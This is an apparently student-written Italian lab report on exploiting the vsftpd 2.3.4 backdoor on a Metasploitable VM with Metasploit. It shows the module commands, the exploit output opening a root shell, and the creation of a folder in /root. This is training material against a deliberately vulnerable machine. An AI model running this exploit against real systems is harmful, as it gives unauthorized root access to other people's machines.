

Esercizio: Hacking con Metasploit Esercizio Traccia Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

Traccia dell'Esercizio Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Dettagli dell'Attività Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable. Configurate l'indirizzo come segue: 192.168.1.149/24 1. 2. Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.

Creazione di una Cartella Una volta ottenuta l'accesso alla macchina Metasploitable, navigate fino alla directory di root (/) e create una cartella chiamata test_metasploit utilizzando il comando mkdir.

Esecuzione:

L'obiettivo principale è l'esplorazione di una vulnerabilità nel servizio FTP (vsftpd 2.3.4) utilizzando **Metasploit**, un framework per test di penetrazione. Dopo aver ottenuto accesso alla macchina target, si procede alla creazione di una cartella specifica come indicato nel compito.

L'esercizio ha come obiettivo:

1. Sfruttare una vulnerabilità nota di vsftpd 2.3.4 su Metasploitable.
2. Stabilire una sessione di shell sulla macchina target tramite Metasploit.
3. Creare una cartella denominata test_metasploit nella directory /root

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:23:73:ef
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe23:73ef/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1977 errors:0 dropped:0 overruns:0 frame:0
          TX packets:271 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:168786 (164.8 KB)  TX bytes:30340 (29.6 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:319 errors:0 dropped:0 overruns:0 frame:0
          TX packets:319 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130781 (127.7 KB)  TX bytes:130781 (127.7 KB)
```

*Configurazione ip di metasploitable.

Nel terminale della macchina attaccante, abbiamo avviato Metasploit utilizzando il comando `msfconsole`. Successivamente, abbiamo ricercato l'exploit per la versione vulnerabile di `vsftpd` con il comando `search vsftpd`.

Abbiamo individuato l'exploit `exploit/unix/ftp/vsftpd_234_backdoor`, noto per sfruttare una backdoor presente nella versione 2.3.4 di `vsftpd`. Abbiamo quindi selezionato questo exploit e configurato l'indirizzo IP della macchina target con i seguenti comandi:

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.149
```

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal  Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.103:44087 -> 192.168.1.149:6200) at 2024-11-11 09:42:21 -0500
```

Dopo aver completato la configurazione, abbiamo lanciato l'exploit per iniziare la sessione. Una volta ottenuto l'accesso alla macchina target, siamo entrati nella directory `/` e abbiamo tentato di creare la cartella richiesta.

Questo esercizio ci ha permesso di esplorare il processo di sfruttamento di una vulnerabilità nota in un servizio FTP attraverso Metasploit. La procedura ha sottolineato l'importanza di una configurazione accurata e della verifica dei risultati, specialmente in ambienti di test. La visualizzazione della cartella creata ha richiesto alcuni passaggi aggiuntivi, evidenziando anche i limiti di alcune shell ottenute tramite exploit.

```
codice.com  
mkdir /root/Test_Metasploit  
cd /root  
ls  
Desktop  
Test_Metasploit  
reset_logs.sh  
testmeta  
vnc.log  
█
```

L'attività ha dimostrato come strumenti come Metasploit possano essere utilizzati per test di sicurezza, evidenziando le vulnerabilità comuni e l'importanza delle patch di sicurezza.